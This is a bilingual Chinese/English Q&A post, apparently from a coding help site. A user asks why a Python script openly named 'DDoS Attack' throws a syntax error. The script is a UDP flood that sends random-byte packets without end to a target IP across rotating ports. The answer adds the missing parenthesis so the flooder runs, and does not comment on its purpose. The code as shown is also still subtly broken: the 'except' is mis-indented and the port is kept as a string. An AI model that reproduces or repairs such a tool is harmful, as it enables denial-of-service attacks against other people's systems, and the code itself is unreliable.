如何修复我的 python 代码中的这个错误?

How can I fix this error in my python code?

代码在 github in python 2 上可用,所以我稍微更改了它,但现在,它说存在语法错误,我不知道如何修复。 代码:

import sys
import os
import time
import socket
import random

#Code
from datetime import datetime
now = datetime.now()
hour = now.hour
minute = now.minute
day = now.day
month = now.month
year = now.year
################################################################################
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
################################################################################
os.system("clear")
os.system("figlet DDos Attack")
print("DDoS_Tool")
print("Author   : ...")
print(" ")
ip = input("IP Target : ")
port = input("Port       : ")
print(" ")

os.system("clear")
os.system("figlet Attac Starting")
os.system("figlet Attack Starting")
print ("[                    ] 0% ")
time.sleep(2)
print ("[=====               ] 25%")
time.sleep(4)
print ("[==========          ] 50%")
time.sleep(3)
print( "[===============     ] 75%")
time.sleep(4)
print ("[====================] 100%")
time.sleep(1)
sent = 0

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()

这就是代码,它表示语法错误位于:

if port == 65534:

并且“:”标记为红色。

我不知道如何解决它。

您缺少打印语句的括号:

while True:
    try:
        sock.sendto(bytes, (ip,port))
        sent = sent + 1
        port = port + 1
        print ("Sent %s packet to %s throught port:%s"%(sent,ip,port)) #here

        if port == 65534:
            port = 1

     except:
          print("ERROR, try again")
          time.sleep(2)
          exit()